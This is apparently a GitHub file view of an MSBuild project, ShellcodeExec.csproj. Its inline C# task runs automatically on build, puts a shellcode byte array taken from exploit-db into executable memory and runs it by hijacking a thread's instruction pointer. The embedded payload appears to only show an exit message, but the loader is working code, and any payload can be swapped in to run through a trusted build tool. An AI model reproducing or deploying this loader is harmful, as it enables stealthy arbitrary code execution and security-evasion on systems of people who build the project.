This repository has been archived by the owner on Aug 16, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ShellcodeExec.csproj
173 lines (151 loc) · 7.66 KB
/
ShellcodeExec.csproj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
<Project>
<UsingTask
TaskName="ShellcodeExec"
TaskFactory="RoslynCodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<ParameterGroup />
<Task>
<Using Namespace="System" />
<Using Namespace="System.Runtime.InteropServices" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ShellcodeExec : Task
{
// Shellcode from https://www.exploit-db.com/exploits/28996
static readonly byte[] Shellcode =
{
0x31, 0xD2, 0xB2, 0x30, 0x64, 0x8B, 0x12, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x1C, 0x8B, 0x42, 0x08,
0x8B, 0x72, 0x20, 0x8B, 0x12, 0x80, 0x7E, 0x0C,
0x33, 0x75, 0xF2, 0x89, 0xC7, 0x03, 0x78, 0x3C,
0x8B, 0x57, 0x78, 0x01, 0xC2, 0x8B, 0x7A, 0x20,
0x01, 0xC7, 0x31, 0xED, 0x8B, 0x34, 0xAF, 0x01,
0xC6, 0x45, 0x81, 0x3E, 0x46, 0x61, 0x74, 0x61,
0x75, 0xF2, 0x81, 0x7E, 0x08, 0x45, 0x78, 0x69,
0x74, 0x75, 0xE9, 0x8B, 0x7A, 0x24, 0x01, 0xC7,
0x66, 0x8B, 0x2C, 0x6F, 0x8B, 0x7A, 0x1C, 0x01,
0xC7, 0x8B, 0x7C, 0xAF, 0xFC, 0x01, 0xC7, 0x68,
0x79, 0x74, 0x65, 0x01, 0x68, 0x6B, 0x65, 0x6E,
0x42, 0x68, 0x20, 0x42, 0x72, 0x6F, 0x89, 0xE1,
0xFE, 0x49, 0x0B, 0x31, 0xC0, 0x51, 0x50, 0xFF,
0xD7
};
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
const uint MEM_COMMIT = 0x1000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId);
[Flags]
public enum ThreadAccess : uint
{
SuspendResume = 0x0002,
GetContext = 0x0008,
SetContext = 0x0010
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern int ResumeThread(IntPtr hThread);
[Flags]
public enum ContextFlags : uint
{
I386 = 0x10000,
Control = I386 | 0x01,
Integer = I386 | 0x02,
Segments = I386 | 0x04,
FloatingPoint = I386 | 0x08,
DebugRegisters = I386 | 0x10,
ExtendedRegisers = I386 | 0x20,
All = Control | Integer | Segments | FloatingPoint | DebugRegisters | ExtendedRegisers,
}
[StructLayout(LayoutKind.Sequential)]
public struct XmmSave
{
public int ControlWord;
public int StatusWord;
public int TagWord;
public int ErrorOffset;
public int ErrorSelector;
public int DataOffset;
public int DataSelector;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
public byte[] RegisterArea;
public int Cr0NpxState;
}
[StructLayout(LayoutKind.Sequential)]
public struct ThreadContext
{
public ContextFlags Flags;
public uint Dr0;
public uint Dr1;
public uint Dr2;
public uint Dr3;
public uint Dr6;
public uint Dr7;
public XmmSave Xmm;
public uint SegGs;
public uint SegFs;
public uint SegEs;
public uint SegDs;
public uint Edi;
public uint Esi;
public uint Ebx;
public uint Edx;
public uint Ecx;
public uint Eax;
public uint Ebp;
public uint Eip;
public uint SegCs;
public uint EFlags;
public uint Esp;
public uint SegSs;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
public byte[] ExtendedRegisters;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern bool GetThreadContext(IntPtr hThread, ref ThreadContext lpContext);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern bool SetThreadContext(IntPtr hThread, ref ThreadContext lpContext);
[DllImport("kernel32.dll")]
public static extern int GetCurrentThreadId();
public override bool Execute()
{
// You may be like "Why would I overcomplicate this?" and that's a good question.
// Here's my answer: I couldn't get CreateThread to work so I created a managed thread and hijacked it.
var cave = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(Shellcode, 0, cave, Shellcode.Length);
using var waiter = new AutoResetEvent(false);
var threadId = 0;
var thread = new Thread(() =>
{
threadId = GetCurrentThreadId();
waiter.Set();
waiter.WaitOne();
});
thread.Start();
waiter.WaitOne();
var threadHandle = OpenThread(ThreadAccess.SuspendResume | ThreadAccess.GetContext | ThreadAccess.SetContext, true, threadId);
SuspendThread(threadHandle);
var context = new ThreadContext { Flags = ContextFlags.All };
GetThreadContext(threadHandle, ref context);
context.Eip = (uint)cave.ToInt32();
SetThreadContext(threadHandle, ref context);
ResumeThread(threadHandle);
waiter.Set();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
<Target Name="Build">
<ShellcodeExec />
</Target>
</Project>